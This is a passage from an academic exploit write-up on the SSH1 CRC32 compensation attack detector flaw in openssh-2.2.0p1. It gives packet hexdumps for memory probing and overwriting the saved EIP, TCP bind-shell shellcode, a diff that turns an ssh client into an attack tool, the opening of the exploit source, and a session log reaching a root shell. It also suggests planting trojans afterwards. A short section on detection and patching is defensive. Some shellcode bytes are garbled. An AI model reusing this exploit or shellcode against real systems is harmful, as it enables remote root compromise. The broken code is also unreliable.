The trick is to have i[small number] point always to 0xFFFF. This is same as 'HASH_UNUSED' and the memory read is skipped. The packet contains 12800 small numbers that make h[i] point to a loose array of approximately half the length of the packet. When the first small number in the packet points to the first half of the buffer, each h[i] will have value 0xFF and the memory read is skipped. It would be extremely rare to find such an array in memory in a place other than buf. Binary search is used to find the smallest small number that will not cause SEGV. A hit to buf will cause 'corrupt bytes' response from the sshd.

In the first phase, the small number is increased by packet_length / 4 so that its pointed address h[small number] points packet_length / 2 forward on each packet. This is a fast scan through the memory to find appriximate distance from h to buf. The second phase is a binary search which will find the distance accurately and reliably.

4.3.4 Finding distance to kernel space
The next memory address to find is h-to-kernel_space distance. The reason why we are interested in this distance is that the stack frame of the current process is close to the kernel space i.e. somewhere below address 0xC0000000. The stack frame is of interest since the saved EIP of the parent function is there. See Chapter 2.3. In this phase, we use a dedicated type of ssh-cipherpacket to test if h[i] is readable (#3 in detect_attack()) and small enough that 'buf + h[i] * SSH_BLOCKSIZE' is readable (#4 in detect_attack()). The stack area contains such small numbers. This packet type uses this test only once - at 0x5BFC4280 in the packet hexdump extract below. We want to test one address only and exit the process as quickly as we can. The pattern of '0x00002860 0100FFFF's is a tell-tale sign for the sshd that this packet uses CRC32 compensation attack. We want the sshd to think like this in order to close the connection right away and speed up the process. On the other hand we can now distinguish between SEGV while processing the first 8-byte ssh block and CRC32 compensation attack detected while processing the second block. This will let the attacker know if the sshd could read memory at 0x5BFC4280.

The packets our exploit sends are filled with the quess for h-to-kernel_space offset (16-bit), although it is required only in the very beginning of the packet.

000000b8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000000c8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
000000d8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
000000e8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000000f8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000108 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
00000118 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000128 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000138 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000148 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000158 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000168 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
00000178 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000188 00 00 28 60 01 00 ff ff 5b fc 42 80 73 50 ff ff ; ..(`..ÿÿ[üB€sPÿÿ
00000198 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
000001a8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000001b8 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
000001c8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
...
Our exploit is a bit simplified version of the 'shack' implementation in this phase. Shack uses three different packet types to hunt down the h-to-stack distance with binary search. Our exploit only finds the distance from h to kernel_space. Although the difference is usually quite small and we can compensate the error in the shellcode phase. Our current implementation brute forces the distance beginning from an educated quess. It starts testing addresses way deep in the kernel space and comes down gradually and finds the lower bound of the kernel space. With this distance, we can calculate the addresses for h and buf.

4.3.4 Sending shellcode
The heart of our exploit is to send the packet that finalizes the breach to the victim host. This packet combines basically three important functions. It rewrites the saved EIP in the stack frame, exits the attack_detect() function call as quickly as possible, and when returned, executes the shellcode that lets the attacker telnet to the victim and control a root shell. The base of this packet is NOP instruction (0x90 on Intel x86 architecture) since it occupies most of this packet. Other contents are inserted where necessary. The following tcpdump extract shows what this ssh cipherpacket consists of.

000000b8 00 00 28 5d 73 50 ff ff 00 00 28 61 73 50 ff ff ; ..(]sPyy..(asPyy
000000c8 00 00 28 65 73 50 ff ff 00 00 28 69 73 50 ff ff ; ..(esPyy..(isPyy
000000d8 00 00 28 6d 73 50 ff ff 00 00 28 71 73 50 ff ff ; ..(msPyy..(qsPyy
000000e8 00 00 28 75 73 50 ff ff 00 00 28 79 73 50 ff ff ; ..(usPyy..(ysPyy
000000f8 00 00 28 7d 73 50 ff ff 00 00 28 81 73 50 ff ff ; ..(}sPyy..(sPyy

000040c8 00 00 48 65 73 50 ff ff 00 00 48 69 73 50 ff ff ; ..HesPyy..HisPyy
000040d8 00 00 48 6d 73 50 ff ff 00 00 48 71 73 50 ff ff ; ..HmsPyy..HqsPyy
000040e8 5b fc 2f 7f 73 50 ff ff 00 00 48 79 73 50 ff ff ; [ü/sPyy..HysPyy
000040f8 5b fc 2f 7f 73 50 ff ff 00 00 48 80 09 08 90 90 ; [ü/sPyy..H€.. 
00004108 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004118 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004128 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
00004138 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004148 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
00004158 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 : 
00004168 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 : 
00004178 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
00004188 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004198 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
000041a8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
000041b8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
000041c8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041d8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
000041e8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
000041f8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
00004208 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 : 

00019028 eb 72 5e 29 c0 89 46 10 40 89 c3 89 46 0c 40 89 ; ër^)À‰F.@‰Ã‰F.@‰
00019038 46 08 8d 4e 08 b0 66 cd 80 43 c6 46 10 10 66 89 ; F.N.°fÍ€CÆF..f‰
00019048 5e 14 88 46 08 29 c0 89 c2 89 46 18 b0 90 66 89 ; ^.ˆF.)À‰Â‰F.°f‰
00019058 46 16 8d 4e 14 89 4e 0c 8d 4e 08 b0 66 cd 80 89 ; F.N.‰N.N.°fÍ€‰
00019068 5e 0c 43 43 b0 66 cd 80 89 56 0c 89 56 10 b0 66 ; ^.CC°fÍ€‰V.‰V.°f
00019078 43 cd 80 86 c3 b0 3f 29 c9 cd 80 b0 3f 41 cd 80 ; CÍ€†Ã°?)ÉÍ€°?AÍ€
00019088 b0 3f 41 cd 80 88 56 07 89 76 0c 87 f3 8d 4b 0c ; °?AÍ€ˆV.‰v.‡óK.
00019098 b0 0b cd 80 e8 89 ff ff ff 2f 62 69 6e 2f 73 68 ; °.Í€è‰yyy/bin/sh
000190a8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
The first part of the packet is designed so that the for loop (before #3 in detect_attack()) increases the value of j, See Chapter 3 for more information. These blocks are filled with offsets for h to point to the following 0xFF's. This will make the for loop run quickly and smoothly until j is what we want it to be. We want j to be that value which will be written to saved_EIP. The most significant word (16-bit) of the saved_EIP is usually around 0x807. The least significant word can be whatever. Since detect_attack() will try to read memory at (buf + h[i] * SSH_BLOCKSIZE) at #4, the value we write on top of the old word in the memory cannot be very large. This means that we can only write small numbers to memory with detect_attack(). This is a reason for only writing the most significant byte of the saved_EIP, which is only about 0x807 and makes (buf + h[i] * SSH_BLOCKSIZE) readable at #4. However, this is no problem for our exploit, because our NOP sled is over 0xFFFF long and it doesn't matter what the LSW of EIP is if the MSW is correct.

When j is the desired saved_EIP_MSW (guessed), we set i to be the h-to-saved_EIP offset (guessed). Now detect_attack() will have to reach point #5 to write the new EIP with correct values of i and j. This is only possible when if clause at #4 is true and the CRC will be checked with check_crc(). This check will not generate 'CRC32 compensation attack detected' message since there is no attack pattern. On the contrary, the crc_check() will pass and the for loop is broken out of. Now h[i] will be j and detect_attack() has been exploited.

One more thing: The comparison at #4 will only pass if the block at c is the same as (buf + h[i] * SSH_BLOCKSIZE). j will be the target saved_EIP_MSW (such as 0x807) and c is (buf + j * SSH_BLOCKSIZE), so we need to fix the contents at (buf + h[i] * SSH_BLOCKSIZE) to be the same as at c. h[i] hopefully points to the MSW of saved_EIP and has a value that is the real return address for detect_attack() at this point. This is usually something like 0x805. This means that the block number 0x805 in our packet must have the same content as the block number 0x807 at hand. Therefore we need to have an exact copy of the saved_EIP_MSW writing block at 0x807. In the tcpdump above, these two blocks can be seen at 0x40E8 and at 0x40F8.

Once again, these blocks are followed by the CRC32 compensation attack pattern for exiting the outer for loop as quickly as possible. This pattern consists of 15 blocks that each include a h-to-buffer offset that points to the first block of this pattern (0x809, GET_CRC32() order). When detect_attack() processes the block number 0x809, it detects the attack and returns. By a miracle, the return address is now 0x807 and the process execution jumps to a new location, hopefully the NOP sled in the buffer.

4.3.5 Executing shellcode
Once the EIP lands on the NOP sled in buf, the execution will slide down the sled to the shellcode, where the attackers code will be executed with root privileges. The system call to execve in the shellcode will capture the ongoing process which will be bound to a tcp port.

The shellcode itself is 128 bytes long including the string that is passed to execve system call. The biggest problem of the shellcode is that it will have to know the address of the string "/bin/sh" in order to pass it as an argument to the system interrupt. For this purpose, it uses a call-pop combination to write EIP to stack and then pop it from the stack. Easy as that.

Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be [1]:

Arrangement of Shellcode execution:

        bottom of  DDDDDDDDEEEEEEEEEEE     top of
        memory     89ABCDEF0123456789A     memory
                   buffer            
       
        <------   [JSSSSSSSSSSSSSSCCss]
                   |^             ^|            
                   ||             ||
               (1) ||_____________||
                    |______________| (2)
        top of                             bottom of
        stack                              stack
See Appendix 7.1 for details.

4.4 Using exploit
The exploit application is a command-line utility that can be run on many different platforms. In the case of Intel x86 architecture, Linux, and victim sshd version openssh-2.2.0p1, the exploit works fine with no command-line arguments whatsoever. With different platforms, some parameter need adjusting to run the exploit in sensible time span.

A user of our exploit needs:

Openssh-2.3.0 client sourcecode
packet.diff for modifying the ssh client
uxp2.c sourcecode (our exploit application)
See Appendix 7.3 for packet.diff and uxp2.c source code files.

See Appendix 7.2 for details what the exploit looks like from the attackers point of view.

After the attacker connects to the victims new open port and root shell, the sshd gives 10 minutes to run commands as root. After those minutes the sshd parent process that forks children for individual connections will close the connection in the name of a time-out. This time can be used to implant Trojan horses and other malicious programs into the victim that will for example expose passwords as they are typed in.

4.5 Advantages and Disadvantages
The advantage of the exploit is that it runs without any parameters and succeeds to run the shellcode with some non-zero probability. The application runs the shellcode quite quickly compared to some other CRC32 attack detector exploits that also require perfect guesses for addresses.

The biggest disadvantage is that the application is heavily optimized for our own hardware and software platform. The application could prompt the user for different target sshd-implementations, for example. Some memory-address distances are determined by brute-force means. Switching to binary search could make the exploit a lot quicker. The exploit could also include some sort of root kit or tools to preserve the access to the victim host.

5 Counter actions
5.1 Detecting attacks
Detecting attacks using this exploit can be done pretty easily if the host has already some active log monitor or traffic follower (e.g. snort) running.

The traffic is quite notable because this is based on bruteforcing. The count of log entries on target machine will be therefore high. The following strings could be filtered out with the log monitor:

sshd[24399]: Disconnecting: Corrupted check bytes on input.
sshd[24439]: Disconnecting: crc32 compensation attack: network attack detected
If those entries are matched many on a row, the log monitor could dynamically set the firewall to block the connections from the source ip mentioned on the logs.

The traffic monitor could either check the lengths of the packets or if the packet contains lot of NOP instructions (0x90 on Intel platforms). The length of the packets is fairly constant (about 100kB) and there are only one big packet per connection and then the connection is dropped. Snort could be configured to do this monitoring easily.

Also the normal hack detection methods can be used. For example check the integrity of binaries using some automated tool (e.g. tripwire). If the logs are kept on and sent real-time to different, secure host, then the logs should inform about something mystical because they can't be tampered.

5.2 Required actions after being attacked
If the system's security is breached:

disconnect the machine from the network immediately
disconnect also the other hosts 'near' the infected one because probably the attacker has gained root on those machines as well
notify the users of this host
start to analyze the logs with security expert and inform the police if necessary (helps you in the case where your host is used in hacking other hosts)
do NOT put the machine in a production environment without complete system reinstall
This is the same procedure that should be followed in any hack suspicion.

5.3 Preventive actions
The vulnerability is easily fixed: change the variable n from 16-bit to 32-bit or set some kind of check for packet length or the value of n.

Frankly, updating your SSH daemon to a newer, secure version is the safest bet.

If the users are willing, restrict the hosts where the users can log from. This can be done using firewall settings.

6 References
[1] Aleph One: [phrack] Smashing The Stack For Fun And Profit [online] [referenced March 20, 2002] Vol 7, Issue 49
Available from: <http://www.phrack.com/phrack/49/P49-14>
[2] blackshell@hushmail.com: [Securityfocus bugtraq: vuln-dev archive] ssh1 remote root exploit [online]. [referenced March 20, 2002] Available from: <http://online.securityfocus.com/archive/82/247801>
[3] Johnson, Michael K. Linux Memory Management Overview. In Linux documentation project [online] [referenced March 20, 2002] Available from:  <http://www.linuxdoc.org/LDP/khg/HyperNews/get/memory/linuxmm.html>
[4] Visscher Paul. readelf man page [online] [referenced March 20, 2002] Available from:  <http://www.gnu.org/manual/binutils-2.10.1/html_chapter/binutils_14.html>
[5] Starzetz, Paul. ssh1.crc32.txt [online article] [referenced March 20, 2002] Available from:  <http://packetstorm.widexs.nl/0102-exploits/ssh1.crc32.txt>
[6] Lanza, Jeffrey P. Vulnerability Note VU#945216 [online], Carnegie Mellon Software Engineering Institute. [referenced March 20, 2002] Available from:  <http://www.kb.cert.org/vuls/id/945216>
[7] SSH CRC-32 Compensation Attack Detector Vulnerability, Securiryfocus.com bugtraq list [online]. [referenced March 20, 2002] Available from:  <http://online.securityfocus.com/bid/2347>
[8] Dittrich, David A. Analysis of SSH crc32 compensation attack detector exploit [online]. [referenced March 20, 2002] Available from: <http://staff.washington.edu/dittrich/misc/ssh-analysis.txt>
[9] Rafail, Jason A.; Dougherty, Chad. CERT® Advisory CA-2001-35 Recent Activity Against Secure Shell Daemons [online] Carnegie Mellon Software Engineering Institute. [referenced March 20, 2002] Available from:  <http://www.cert.org/advisories/CA-2001-35.html>
[10] Packetstorm exploit archive, Shack exploit [online] [referenced March 20, 2002] <http://packetstorm.widexs.nl/0201-exploits/cm-ssh.tgz>
[11] Incidents.org, Handler's Diary Thursday, December 13th 2001 [online] [referenced March 20, 2002] <http://www.incidents.org/diary/diary.php?id=118>
[12] Elson, Jeremy. tcpflow -- A TCP Flow Recorder [online] [referenced March 20, 2002] <http://www.circlemud.org/~jelson/software/tcpflow/>
[13] jsb4ch@hotmail.com, ANTI-prym/h4g1s portshell code [online] [referenced March 20, 2002] <http://www.cotse.com/sw/linux/portshell.txt>
[14] Heinisuo, Rami et al.: Elektronisen viittaamisen opas [online]. Jyväskylä: University of Jyväskylä, 1997 [referenced January 27, 2002] Available from: <http://lib.hut.fi/Elehdet/Elviira/ >
[15] Siegert, Martin: [linux-security] ssh1 remote root exploit [online]. Simon Fraser University, 2001 [referenced January 27, 2002] SFU's linux-security mailing list. Available from: <http://www.sfu.ca/~siegert/linux-security/msg00017.html>
[16] SSH statement regarding the vulnerability of SSH1 protocol <http://www.ssh.com/products/ssh/cert/>
[17] Possible OpenSSH DoS Attack <http://www.securityfocus.com/cgi-bin/archive.pl?id=82&start=2002-01-26&end=2002-02-01&threads=0&mid=004401c181d1$2b91adc0$0400a8c0@pi>
[18] SSH Vulnerability Scan Vulnerability to CRC32 compensation attack detector exploit <http://www.securityfocus.com/archive/1/243644> <http://staff.washington.edu/dittrich/misc/ssh-analysis.txt>
[19] Cisco Security Advisory: Multiple SSH Vulnerabilities <http://www.cisco.com/warp/public/707/SSH-multiple-pub.html>
[20] OpenSSH subject to traffic analysis <http://www.securityfocus.com/archive/1/176117/> <http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt>
[21] SSH brute forcer <http://www.securityfocus.com/archive/82/252405>
[22] blackshell tool1: SSHD vulnerability scanner <http://www.securityfocus.com/archive/82/247801>
[23] Ylönen, Tatu.  The SSH (Secure Shell) Remote Login Protocol [online] [referenced March 20, 2002] <http://www.snailbook.com/docs/protocol-1.5.txt>

7 Appendices
7.1 Shellcode
/*
*  Linux/x86
*  TCP/36864 portshell (old, could be optimized further)
*/

char shellcode[] =         /* anathema <anathema@hack.co.za> */
        /* main: */
"xebx72"                        /* jmp callz               */

        /* start: */
"xebx72"                        /* popl %esi               */

        /* socket() */
"x29xc0"                        /* subl %eax, %eax         */
"x89x46x10"                        /* movl %eax, 0x10(%esi)   */
"x40"                                /* incl %eax               */
"x89xc3"                        /* movl %eax, %ebx         */
"x89x46x0c"                        /* movl %eax, 0x0c(%esi)   */
"x40"                                /* incl %eax               */
"x89x46x08"                        /* movl %eax, 0x08(%esi)   */
"x8dx4ex08"                        /* leal 0x08(%esi), %ecx   */
"xb0x66"                        /* movb $0x66, %al         */
"xcdx80"                        /* int $0x80               */

        /* bind() */
"x43"                                /* incl %ebx               */
"xc6x46x10x10"                /* movb $0x10, 0x10(%esi)  */
"x66x89x5ex14"                /* movw %bx, 0x14(%esi)    */
"x88x46x08"                        /* movb %al, 0x08(%esi)    */
"x29xc0"                        /* subl %eax, %eax         */
"x89xc2"                        /* movl %eax, %edx         */
"x89x46x18"                        /* movl %eax, 0x18(%esi)   */
"xb0x90"                        /* movb $0x90, %al         */
"x66x89x46x16"                /* movw %ax, 0x16(%esi)    */
"x8dx4ex14"                        /* leal 0x14(%esi), %ecx   */
"x89x4ex0c"                        /* movl %ecx, 0x0c(%esi)   */
"x8dx4ex08"                        /* leal 0x08(%esi), %ecx   */
"xb0x66"                        /* movb $0x66, %al         */
"xcdx80"                        /* int $0x80               */

        /* listen() */
"x89x5ex0c"                        /* movl %ebx, 0x0c(%esi)   */
"x43"                                /* incl %ebx               */
"x43"                                /* incl %ebx               */
"xb0x66"                        /* movb $0x66, %al         */
"xcdx80"                        /* int $0x80               */

        /* accept() */
"x89x56x0c"                        /* movl %edx, 0x0c(%esi)   */
"x89x56x10"                        /* movl %edx, 0x10(%esi)   */
"xb0x66"                        /* movb $0x66, %al         */
"x43"                                /* incl %ebx               */
"xcdx80"                        /* int $0x80               */

        /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3"                        /* xchgb %al, %bl          */
"xb0x3f"                        /* movb $0x3f, %al         */
"x29xc9"                        /* subl %ecx, %ecx         */
"xcdx80"                        /* int $0x80               */
"xb0x3f"                        /* movb $0x3f, %al         */
"x41"                                /* incl %ecx               */
"xcdx80"                        /* int $0x80               */
"xb0x3f"                        /* movb $0x3f, %al         */
"x41"                                /* incl %ecx               */
"xcdx80"                        /* int $0x80               */

        /* execve() */
"x88x56x07"                        /* movb %dl, 0x07(%esi)    */
"x89x76x0c"                        /* movl %esi, 0x0c(%esi)   */
"x87xf3"                        /* xchgl %esi, %ebx        */
"x8dx4bx0c"                        /* leal 0x0c(%ebx), %ecx   */
"xb0x0b"                        /* movb $0x0b, %al         */
"xcdx80"                        /* int $0x80               */

        /* callz: */
"xe8x89xffxffxff"                /* call start              */
"/bin/sh";
7.2 Exploit usage
[root@localhost exploit]# ../uxp2
Finding estimate for h..buf distance
  Testing h..buf offset: 0x00000000 B  NOT FOUND (SEQV)
  Testing h..buf offset: 0x0000c800 B  FOUND (Corrupt bytes)
Finding exact h..buf distance
  Testing h..buf offset: 0x00004800 B (prev. step=0x00008000h) NOT FOUND. Increasing by 0x00002000
  Testing h..buf offset: 0x00008800 B (prev. step=0x00004000h) FOUND. Decreasing by 0x00001000
  Testing h..buf offset: 0x00006800 B (prev. step=0x00002000h) FOUND. Decreasing by 0x00000800
  Testing h..buf offset: 0x00005800 B (prev. step=0x00001000h) FOUND. Decreasing by 0x00000400
  Testing h..buf offset: 0x00005000 B (prev. step=0x00000800h) NOT FOUND. Increasing by 0x00000200
  Testing h..buf offset: 0x00005400 B (prev. step=0x00000400h) FOUND. Decreasing by 0x00000100
  Testing h..buf offset: 0x00005200 B (prev. step=0x00000200h) FOUND. Decreasing by 0x00000080
  Testing h..buf offset: 0x00005100 B (prev. step=0x00000100h) FOUND. Decreasing by 0x00000040
  Testing h..buf offset: 0x00005080 B (prev. step=0x00000080h) NOT FOUND. Increasing by 0x00000020
  Testing h..buf offset: 0x000050c0 B (prev. step=0x00000040h) FOUND. Decreasing by 0x00000010
  Testing h..buf offset: 0x000050a0 B (prev. step=0x00000020h) NOT FOUND. Increasing by 0x00000008
  Testing h..buf offset: 0x000050b0 B (prev. step=0x00000010h) NOT FOUND. Increasing by 0x00000004
  Testing h..buf offset: 0x000050b8 B (prev. step=0x00000008h) FOUND. Decreasing by 0x00000002
Found exact distance: 0x000050b4
Finding lower kernel area boundary
  Testing h..boundary offset 0xb7f88500 NOT FOUND. (SEQV)
  Testing h..boundary offset 0xb7f884fc NOT FOUND. (SEQV)
  Testing h..boundary offset 0xb7f884f8 FOUND. (CRC32 Attack Detected)
Trying to run shellcode. If output stalls, telnet to 192.168.1.1:36864
  Trying shellcode/ (eip_MSW@0xbfffda00 pres_MSW=0x0806 targ_MSW=0x0808)

[1]+  Stopped                 ../uxp2
[root@localhost exploit]# kill %1

[1]+  Stopped                 ../uxp2
[root@localhost exploit]#
[root@localhost exploit]# telnet 192.168.1.1 32864
Trying 192.168.1.1...
telnet: connect to address 192.168.1.1: Connection refused
[root@localhost exploit]# telnet 192.168.1.1 36864
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found
ls -l;
total 480
drwxr-xr-x    2 root     root         4096 Mar  8 18:30 bin
drwxr-xr-x    3 root     root         4096 Feb 28 22:26 boot
-rw-------    1 root     root       520192 Mar 10 23:08 core
drwxr-xr-x   16 root     root        77824 Mar 12 21:21 dev
drwxr-xr-x   60 root     root         8192 Mar 19 19:24 etc
drwxr-xr-x   10 root     root         4096 Mar 15 00:04 home
drwxr-xr-x    2 root     root         4096 Jun 21  2001 initrd
drwxr-xr-x    7 root     root         4096 Mar  4 15:45 lib
drwxr-xr-x    2 root     root        16384 Sep  2  2001 lost+found
drwxr-xr-x    2 root     root            0 Feb 28 22:32 misc
drwxr-xr-x    4 root     root         4096 Nov 23 17:13 mnt
lrwxrwxrwx    1 root     root           13 Jan 20 15:09 mp3 -> /mnt/hdd1/MP3
drwxr-xr-x    2 root     root         4096 Aug 23  1999 opt
dr-xr-xr-x  180 root     root            0 Feb 28 22:32 proc
drwxr-x---   29 root     root         4096 Mar 19 18:55 root
drwxr-xr-x    2 root     root         4096 Mar  8 18:31 sbin
lrwxrwxrwx    1 root     root           18 Nov 20 23:12 scratch -> /mnt/hdc1/scratch/
drwxrwxrwt   13 root     root         4096 Mar 19 19:10 tmp
drwxr-xr-x   17 root     root         4096 Feb  5 18:11 usr
drwxr-xr-x   22 root     root         4096 Sep  2  2001 var
lrwxrwxrwx    1 root     root           14 Nov 16 19:48 www -> /mnt/hdc1/www/
: command not found
exit;
Connection closed by foreign host.
[root@localhost exploit]#
7.3 Source code files for the exploit
7.3.1 packet.diff
Download packet.diff

--- packet.c        Sat Oct 14 08:23:12 2000
+++ packet_modified.c        Tue Mar 19 20:24:25 2002
@@ -125,6 +125,9 @@
/* Session key information for Encryption and MAC */
Kex        *kex = NULL;

+/* pekka.korpinen@hut.fi, kalle.lyytikainen@hut.fi */
+/* HACK - Packet Number */
+int count = 0;
+
void
packet_set_kex(Kex *k)
{
@@ -461,6 +464,9 @@
        unsigned int checksum;
        u_int32_t rand = 0;

+        /* HACK - Count sent packets */
+        count++;
+
        /*
         * If using packet compression, compress the payload of the outgoing
         * packet.
@@ -1172,7 +1178,32 @@
void
packet_write_poll()
{
-        int len = buffer_len(&output);
+        int len;
+
+        /* --- HACK START --- */
+        FILE *f;
+        unsigned long sz;
+        char buf[50], *ptr, packet[270000];
+
+        if (count == 2)
+        {
+                debug("reading exploit packet from /tmp/exploit_packet");
+                 f = fopen("/tmp/exploit_packet","r");
+                 fread(buf, 1, 4, f);
+                 sz = GET_32BIT(&buf[0])+4;
+                 debug("packet length = %un", sz);
+
+                 buffer_clear(&output);
+                 buffer_append(&output, packet, sz);
+                   ptr = buffer_ptr(&output);
+                   fread(ptr, 1, sz, f);
+                   fclose(f);
+                  
+                 count++;
+        }
+        /* --- HACK END --- */
+        
+        len = buffer_len(&output);
        if (len > 0) {
                len = write(connection_out, buffer_ptr(&output), len);
                if (len <= 0) {
7.3.2 uxp2.c
Download uxp2.c

/*

THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.

Exploit code for using the modified ssh

2002-03-20

Authors:
Pekka Korpinen, pekka.korpinen@hut.fi                / Helsinki University of Technology
Kalle Lyytikäinen, kalle.lyytikainen@hut.fi        / Helsinki University of Technology

       
This code is based on the reverse-engineering work of the
shack implementation. Shellcode is by anathema.

*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/* Path to modified ssh */
#define PATH_SSH "./ssh"

// Target host
char host[] = "192.168.1.1";

// Target port
int port = 2222;

// Packet length (don't touch)
unsigned long packet_length = 102400;

// The packet buffer
char *buffer = NULL;


/*
*  Linux/x86
*  TCP/36864 portshell (old, could be optimized further)
*/

char shellcode[] = /* anathema <anathema@hack.co.za> */
/* main: */
"xebx72"                                /* jmp callz               */
/* start: */
"x5e"                                    /* popl %esi               */

  /* socket() */
"x29xc0"                                /* subl %eax, %eax         */
"x89x46x10"                            /* movl %eax, 0x10(%esi)   */
"x40"                                    /* incl %eax               */
"x89xc3"                                /* movl %eax, %ebx         */
"x89x46x0c"                            /* movl %eax, 0x0c(%esi)   */
"x40"                                    /* incl %eax               */
"x89x46x08"                            /* movl %eax, 0x08(%esi)   */
"x8dx4ex08"                            /* leal 0x08(%esi), %ecx   */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */

  /* bind() */
"x43"                                    /* incl %ebx               */
"xc6x46x10x10"                        /* movb $0x10, 0x10(%esi)  */
"x66x89x5ex14"                        /* movw %bx, 0x14(%esi)    */
"x88x46x08"                            /* movb %al, 0x08(%esi)    */
"x29xc0"                                /* subl %eax, %eax         */
"x89xc2"                                /* movl %eax, %edx         */
"x89x46x18"                            /* movl %eax, 0x18(%esi)   */
"xb0x90"                                /* movb $0x90, %al         */
"x66x89x46x16"                        /* movw %ax, 0x16(%esi)    */
"x8dx4ex14"                            /* leal 0x14(%esi), %ecx   */
"x89x4ex0c"                            /* movl %ecx, 0x0c(%esi)   */
"x8dx4ex08"                            /* leal 0x08(%esi), %ecx   */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */

  /* listen() */
"x89x5ex0c"                            /* movl %ebx, 0x0c(%esi)   */
"x43"                                    /* incl %ebx               */
"x43"                                    /* incl %ebx               */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */

  /* accept() */
"x89x56x0c"                            /* movl %edx, 0x0c(%esi)   */
"x89x56x10"                            /* movl %edx, 0x10(%esi)   */
"xb0x66"                                /* movb $0x66, %al         */
"x43"                                    /* incl %ebx               */
"xcdx80"                                /* int $0x80               */

  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3"                                /* xchgb %al, %bl          */
"xb0x3f"                                /* movb $0x3f, %al         */
"x29xc9"                                /* subl %ecx, %ecx         */
"xcdx80"                                /* int $0x80               */
"xb0x3f"                                /* movb $0x3f, %al         */
"x41"                                    /* incl %ecx               */
"xcdx80"                                /* int $0x80               */
"xb0x3f"                                /* movb $0x3f, %al         */
"x41"                                    /* incl %ecx               */
"xcdx80"                                /* int $0x80               */

  /* execve() */
"x88x56x07"                            /* movb %dl, 0x07(%esi)    */
"x89x76x0c"                            /* movl %esi, 0x0c(%esi)   */
"x87xf3"                                /* xchgl %esi, %ebx        */
"x8dx4bx0c"                            /* leal 0x0c(%ebx), %ecx   */
"xb0x0b"                                /* movb $0x0b, %al         */
"xcdx80"                                /* int $0x80               */

/* callz: */
"xe8x89xffxffxff"                    /* call start              */
"/bin/sh";

void buffer_init()
{
        buffer = (char *) malloc(packet_length+8);
}

void buffer_destroy()
{
        if (buffer)
                free(buffer);
}

void insert_crc32_compensation_attack_pattern(unsigned long *ptr,
        unsigned long value1, unsigned long value2)
{
        int positions[] = {0,6,9,10,16,20,21,22,24,25,27,28,30,31,32,-1};
        int i;
       
        for (i=0; positions[i]!=-1; i++) {
                ptr[ positions[i]*2 ] = value1;
